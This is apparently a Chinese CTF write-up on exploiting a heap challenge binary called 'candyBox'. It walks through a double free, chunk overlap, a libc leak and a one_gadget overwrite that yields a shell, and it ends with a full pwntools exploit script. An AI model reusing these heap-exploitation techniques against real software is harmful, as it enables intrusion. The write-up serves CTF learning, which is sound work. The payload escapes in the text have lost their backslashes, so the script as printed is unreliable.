candyBox
查看程序开的保护
got表是可以改写。
程序是比较简短的,只有create和del两个函数。值得注意的是它分配出的chunk结果比较独特,如下
在1号位上放info或存放info的chunk的地址,这个取决于输入的info的长度。2号位上存放的是输入info的长度,3号位上存放的是freeLittle或freeBig的地址。
这题的关键是泄漏libc的地址。下面分析泄漏方法。
先分配几个chunk,为下面的构造做准备
Add(0x8, 'x00'*0x8) Add(0x8, 'x00'*0x8) Add(0x9, 'A'*8 + 'x31') #2 Add(0x9, 'A'*8 + 'x31') #3 Add(0x9, 'A'*8 + 'x31') #4 Add(0x9, 'A'*8 + 'x31') #5 Add(0x9, 'A'*8 + 'x31') #6 Add(0x9, 'A'*8 + 'x31') #7 Add(0x9, 'A'*8 + 'x31') #8
因为2号位的存放的info的长度会影响接下来的构造,所以先把他们清零
Delete(2) Add(0x8, 'x00'*8) Delete(4) Add(0x8, 'x00'*8)
double free修改chunk size构造overlap
Delete(0) Delete(1) Delete(0) # 修改chunk size Add(0x2, 'x70x00') Add(0x8, 'x00'*8) gdb.attach(p, 'b * $rebase(0x10e0) c') Add(0x1a, 'A'*0x18 + 'xc1x00')
接下来修改3号位的地址为puts的地址,这里需要爆破倒数第四个十六进制位的值。修改后调用free函数就可以泄漏数据了。
Delete(0) Delete(1) Delete(0) Add(0x2, 'xd0x00') Add(0x8, 'x00'*8) Add(0x8, 'x00'*8) Add(0x8, 'x00'*8) try: Add(0xb, 'A'*8 + 'x60x49x00') Delete(3) Add(0x8, 'x00'*8) # leak libc address Delete(4) libc_base = u64(p.recvuntil('x7fx0a')[-7:-1] + b'x00x00') - 0x3c4b78 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) except: p.close() return 0
之后在此修改3号位的值为one_gadet就可getshell
完整exp如下:
#!/usr/bin/python3 from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] global p libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def Add(size, content): p.sendlineafter('Remove a candy:', '1') p.sendlineafter('Size: ', str(size)) p.sendafter('Taste: ', content) def Delete(index): p.sendlineafter('Remove a candy:', '2') p.sendlineafter('id:', str(index)) p.sendlineafter('serious?', 'yes') def pwn(): global p p = process('./candyBox') Add(0x8, 'x00'*0x8) Add(0x8, 'x00'*0x8) Add(0x9, 'A'*8 + 'x31') #2 Add(0x9, 'A'*8 + 'x31') #3 Add(0x9, 'A'*8 + 'x31') #4 Add(0x9, 'A'*8 + 'x31') #5 Add(0x9, 'A'*8 + 'x31') #6 Add(0x9, 'A'*8 + 'x31') #7 Add(0x9, 'A'*8 + 'x31') #8 Delete(2) Add(0x8, 'x00'*8) Delete(4) Add(0x8, 'x00'*8) Delete(0) Delete(1) Delete(0) # 修改chunk size Add(0x2, 'x70x00') Add(0x8, 'x00'*8) gdb.attach(p, 'b * $rebase(0x10e0) c') Add(0x1a, 'A'*0x18 + 'xc1x00') Delete(0) Delete(1) Delete(0) Add(0x2, 'xd0x00') Add(0x8, 'x00'*8) Add(0x8, 'x00'*8) Add(0x8, 'x00'*8) try: Add(0xb, 'A'*8 + 'x60x49x00') Delete(3) Add(0x8, 'x00'*8) # leak libc address Delete(4) libc_base = u64(p.recvuntil('x7fx0a')[-7:-1] + b'x00x00') - 0x3c4b78 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) except: p.close() return 0 one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207] Delete(0) Add(0x20, b'A'*0x18 + p64(one_gadget[1] + libc_base)) Delete(4) p.interactive() p.close() return 1 if __name__ == '__main__': while True: a = pwn() if a: break